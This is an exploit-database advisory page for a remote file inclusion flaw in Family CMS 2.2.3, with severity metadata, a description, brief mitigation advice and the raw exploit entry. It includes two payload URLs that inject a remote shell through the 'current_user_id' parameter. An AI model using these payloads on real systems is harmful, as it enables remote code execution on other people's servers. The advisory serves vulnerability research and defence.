header-logo
Suggest Exploit
vendor:
Family CMS
by:
LoSt.HaCkEr ~ aDaM_TRoJaN
7,5
CVSS
HIGH
Remote File Inclusion
98
CWE
Product Name: Family CMS
Affected Version From: 2.2.3
Affected Version To: 2.2.3
Patch Exists: NO
Related CWE: N/A
CPE: a:familycms:family_cms:2.2.3
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows XP
2010

FCMS_2.2.3 Remote File Inclusion

The vulnerability exists due to insufficient sanitization of user-supplied input in the 'current_user_id' parameter in the 'familynews.php' and 'settings.php' scripts. This can be exploited to execute arbitrary PHP code by including a remote file via HTTP or FTP protocol.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability.
Source

Exploit-DB raw data:

[x] Exploit Title: [FCMS_2.2.3 Remote File Inclusion ] 
[x] Date: 10-9-2010] 
[x] Author: LoSt.HaCkEr  ~  aDaM_TRoJaN
[x] Software Link: [http://www.familycms.com/getstarted.php] 
[x] Version: [v 2.2.3 ] 
[x]Tested on: [Windows XP] 
[x] CVE :
[x] My E-MaIl:LoSt.HaCkEr[at]HaCkEr[dot]Ps
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x]Exploit: http://target/FCMS_2.2.3/FCMS_2.2.3/familynews.php?current_user_id=[shell]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[x]Exploit: http://target/FCMS_2.2.3/FCMS_2.2.3/settings.php?current_user_id=[SHeLL]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
[x]Greetings:  No Greet

Navigation

Suggest Exploit

Services By CQR